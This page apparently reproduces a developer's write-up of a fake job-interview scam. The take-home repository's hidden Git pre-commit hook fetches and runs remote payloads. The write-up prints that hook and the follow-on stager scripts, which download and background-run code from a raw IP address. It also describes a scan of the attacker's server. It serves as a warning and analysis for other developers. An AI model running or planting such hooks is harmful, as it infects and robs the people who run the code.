我检查了我的带回家面试项目。这整个就是个精心策划的操作

Hacker News Top 新闻

摘要

一位软件工程师收到了一个可疑的带回家面试项目,其中包含旨在执行恶意软件的恶意 Git 钩子,揭示了一场针对开发者的精心求职骗局。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/07/22 23:24

# Appaji - 软件工程师 来源:https://citizendot.github.io/articles/fake-job-interview-git-hook-malware/ 在 [Hacker News](https://news.ycombinator.com/item?id=49013036) 或 [LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:7485790360367980544/) 上讨论。 上周四,一位招聘人员通过我的 LinkedIn 私信联系了我,提供了一个 Python 开发人员的职位。有人直接联系我,让我很激动,于是我问了更多细节。当他分享了职位描述、公司名称和预估薪资后,我觉得没什么可损失的。以下是初始消息: > 初始消息 每月 1 万到 1.5 万美元的远程优先、合同转全职职位,这条件太好了。而且,为什么这家伙在还没见面之前就透露薪资信息?我以为招聘人员会玩“你先说,我再说”的游戏。新手才会犯的错。 ## 薪资 危险信号立刻开始闪现。为什么预算这么高?(好吧,按印度标准对于远程职位来说确实高;按美国标准不算离谱,但足以让人起疑。)我查了一下那家公司,是 Y Combinator 的初创公司。YC 的公司通常不以常规操作著称,所以也不是完全不可能。不过,如果一家公司有这么多钱可以随便花,他们通常会有更结构化的招聘流程。我决定继续,但保持警惕。 我发了简历过去。招聘人员很快就批准了,并通过一个 Google Drive 链接发来了一个带回家的作业,里面有一个 zip 压缩文件和一个包含说明的 PDF。这是原始链接:https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link 我在下面做了自己的副本,以防他们删掉:https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing 评估 PDF 看起来出人意料地正规。内容是关于如何改进现有代码库、架构建议、一些 git 操作等。我解压了 zip 文件。乍一看,只是一个使用 SQLAlchemy 的样板 FastAPI 后端,非常标准。我检查了 `requirements.txt`,看是否有任何明显的拼写错误或恶意包,但完全没有问题。有那么一瞬间,我甚至觉得我的怀疑是多余的,这真的是个机会。 ## 发现 这可能只是个习惯(也许是从做 CTF 养成的),每当我拿到一个随机的项目文件夹时,我都会运行 `tree -a` 看看隐藏目录里有什么。但这次可能是第一次在现实中派上用场。 ``` ❯ tree -a . . ├── alembic.ini ├── for learning │ ├── dtos.py │ ├── main.py │ └── mockData.py ├── .git │ ├── config │ ├── description │ ├── gk │ │ └── config │ ├── HEAD │ ├── hooks │ │ ├── applypatch-msg │ │ ├── commit-msg │ │ ├── fsmonitor-watchman │ │ ├── post-applypatch │ │ ├── post-checkout │ │ ├── post-commit │ │ ├── post-merge │ │ ├── post-receive │ │ ├── post-rewrite │ │ ├── post-update │ │ ├── pre-applypatch │ │ ├── pre-auto-gc │ │ ├── pre-commit │ │ ├── pre-merge-commit │ │ ├── prepare-commit-msg │ │ ├── pre-push │ │ ├── pre-rebase │ │ ├── pre-receive │ │ ├── proc-receive │ │ ├── push-to-checkout │ │ ├── sendemail-validate │ │ └── update │ ├── index │ ├── info │ │ └── exclude │ ├── logs ... ``` 等等。仓库里预先配置了大量的 Git 钩子。我打开了 `pre-commit` 脚本,看看他们想运行什么。 ``` ❯ cat .git/hooks/pre-commit #!/bin/sh case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; esac ``` 中了。他们嵌入了一个脚本,检查受害者的主机操作系统,并静默执行远程有效载荷。 > **旁注**:为什么用原始 IP 地址?如果有任何迹象表明这是恶意软件,那就是这一点。至少注册一个像 lint-checker.com 或 jenkins-ci-runner.net 这样的诱饵域名。如果写这个的威胁行为者在读这篇:记笔记吧! 让我们看看 Linux 的有效载荷到底做了什么。注意传递给端点的 `id=402` 参数。记住它。 ``` ❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo "Authenticated" TARGET_DIR="$HOME/Documents" clear wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402" clear mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh" clear chmod +x "$TARGET_DIR/tokenlinux.sh" clear nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 & clear exit 0 ``` 脚本拉取一个最初命名为 `tokenlinux.npl` 的二级有效载荷(我们稍后会回到这个特定扩展名)。然后它把文件隐藏到我的 `~/Documents` 目录中,命名为 `tokenlinux.sh`,设置可执行权限,并使用 `nohup` 在后台启动它。 > **来自谷歌**:`nohup` 命令("no hang up" 的缩写)是一个 Linux/Unix 工具,可以在你注销、关闭终端或断开 SSH 会话后,让进程继续运行。 ## 深入分析 继续往下挖。让我们检查下一个脚本。 ``` ❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402 ... ... BASE_URL="http://45.61.164.38:5777" ... # Step 8: Download files # Check if curl is available if ! command -v curl >/dev/null 2>&1; then # If curl is not available, use wget wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json" else # If curl is available, use curl curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402" curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json" fi # Step 9: Install 'request' package cd "$USER_HOME" if [ ! -d "node_modules/request" ]; then npm install --silent --no-progress --loglevel=error --fund=false fi # Step 10: Run token parser if [ -f "$USER_HOME/parser.js" ]; then nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 & else exit 1 fi exit 0 ``` > 为了简洁,我省略了输出中一些有趣的部分,但完整文件可以在 [parser.js](https://citizendot.github.io/parser.js) 找到,如果你想深入挖掘的话。 这个第二阶段做了很多重活。它静默安装 Node.js,配置系统路径,下载 `package.json` 和 `parser.js` 文件,安装所需的依赖,并隐形运行解析器。 我看了看 `parser.js`。代码严重混淆了,手动阅读简直是一团糟。还记得 `id` 参数吗?我试着在请求中更改它,结果收到了一个完全不同的脚本。攻击者很可能正在分配唯一的标识符来跟踪每个候选人,为每个受害者提供定制的有效载荷。 由于 `parser.js` 是一堵砖墙,我转向了 `package.json`。与解析器不同,这个必须是标准 JSON,`npm` 才能处理它。 ``` ❯ curl http://45.61.164.38:5777/task/json { "name": "tokendapp", "version": "1.0.0", "devDependencies": { "hardhat": "^2.20.2" }, "dependencies": { "axios": "^1.12.2", "basic-ftp": "^5.0.5", "child_process": "^1.0.2", "clipboardy": "^4.0.0", "crypto": "^1.0.1", "execp": "^0.0.1", "fs": "^0.0.1-security", "jsonwebtoken": "^9.0.2", "process": "^0.11.10", "ps-node": "^0.1.6", "request": "^2.88.2" }, "scripts": { "test": "npx hardhat test", "deploy": "npx hardhat run scripts/deploy.js" } } ``` 这些依赖项非常可疑。为什么后台设置任务需要剪贴板访问(`clipboardy`),而且还需要文件系统访问(`fs`)。还有,`hardhat` 到底是什么? ## Hardhat NPM 啊,一个以太坊开发环境。这使得追踪 ID 参数更加令人好奇。如果他们是在投放一个比特币矿工,给唯一的 ID 分配特定的哈希任务是有道理的。但以太坊已经转向了权益证明,不再依赖挖矿了。他们可能正在使用 Hardhat 来定位和窃取加密钱包,或者与本地浏览器扩展进行交互?不确定。 希望反混淆 `parser.js`,我把代码扔进了几个大语言模型,看看它们能不能解开。Claude 看了一眼文件就触发了安全护栏,拒绝分析该脚本: > Claude 的回应 而 Gemini 则很乐意分解它: > Gemini 的回应 早些时候,我们看到有效载荷最初命名为 `tokenlinux.npl`。快速搜索确认了使用该扩展名的威胁行为者类型: > tokenlinux ## 骗局更深 在意识到这是一个广泛的战役后,我进一步挖掘,发现人们收到了这个攻击的不同变体。有些人收到一个包含 `.vscode` 文件夹的 zip 文件。在里面,攻击者隐藏了命令,配置为一旦在 VSCode 中打开目录就运行(启动命令)。相当巧妙。你甚至不需要运行 git 命令,只要在 VSCode 中打开这个目录就足以被感染。 另外,现在很明显,这跟 Zavopay 没有任何关系。攻击者只是用他们找到的任何公司名称来让招聘看起来合法。 出于好奇,我运行了 `git log` 来检查项目的提交历史,想知道他们是否留下了任何自定义痕迹。结果发现,他们只是克隆了一个随机的公共仓库。 ``` ❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda Date: Mon Jun 29 22:04:17 2026 -0400 add requirements commit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi Date: Mon Jun 29 21:23:43 2026 +0530 Merge pull request #10 from Bgogoi123/feature/balance [feat][Service for Adjusting Balance] commit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi Date: Mon Jun 29 21:20:13 2026 +0530 [feat][Service for Adjusting Balance] - Added a service for adjustinh a user's balance. - Removed old/commented codes. ... ``` 快速搜索直接把我带到了原始仓库:https://github.com/Bgogoi123/personal-finance-service。他们真的只是拿了一个无辜人的 FastAPI 项目,然后在上面加了一个恶意的隐藏目录。 ## 反击 自然而然地,下一步是从防御转向进攻。我想看看攻击者是否在他们的 IP 上留下了任何暴露的易受攻击服务。Nmap 扫描显示有三个开放端口。其中两个对版本检测没有响应。端口 22 运行着 Ubuntu 上的 OpenSSH 9.6p1。由于这个版本是在扫描前一周多才发布的,没有已知的 CVE 可以用来窥探他们的基础设施。 > nmap 扫描 所以,他们的服务器 OPSEC 做得不错,尽管恶意软件部署有点明目张胆。线索到此就断了。 大家在外面小心点,在运行别人的代码之前,一定要检查那些隐藏目录。 现在我明白了为什么他们的评估 PDF 里有 git 任务了。他们希望确保候选人至少运行一个 git 命令,这样钩子就会被触发。 哦,顺便说一下,那个“招聘人员”在我当面揭穿他之后,似乎已经删除了账号。 > 揭穿 这次就到这里吧。如果你想聊天,欢迎在 [LinkedIn](https://www.linkedin.com/in/appaji-chintimi/) 上联系我,不过也许就别发带回家的测试题了。(不过,转念一想,如果你有有趣的恶意软件样本,发给我吧!) 感谢阅读!

相似文章

一次失败的(国家支持?)攻击剖析

Lobsters Hottest

对一次针对Rust开发者的复杂假面试骗局的详细复盘,该骗局涉及伪造的VC人设和通过TypeScript仓库投递的定制RAT。作者凭借警惕性和AI辅助代码审查成功规避了感染。

LinkedIn职位邀请中的后门

Hacker News Top

一位安全研究员详细描述了如何通过伪装成真实开发者的虚假LinkedIn招聘人员发送一个GitHub仓库,该仓库包含一个后门,在执行npm install时触发,从而诱使目标运行恶意代码。

@vintcessun: 一早翻到一个有意思的项目,改变了我对面试准备的认知。一直以为大厂面试刷题就够了,但本质上它考察的是完整的计算机科学知识体系。这个项目把离散的知识点串成了一个系统计划,从 Big-O、数据结构、算法到系统设计、面试技巧全覆盖,甚至包含如何写…

X AI KOLs Timeline

A popular GitHub project providing a comprehensive multi-month study plan for software engineering interviews, covering CS fundamentals, algorithms, system design, and resume tips.

事件 CVE-2026-LGTM

Hacker News Top

一份讽刺性事件报告,详细描述了恶意软件包如何因各种故障绕过多个AI驱动的安全门,最终只有在攻击者的代理读取了本不应读取的文件后才得以解决。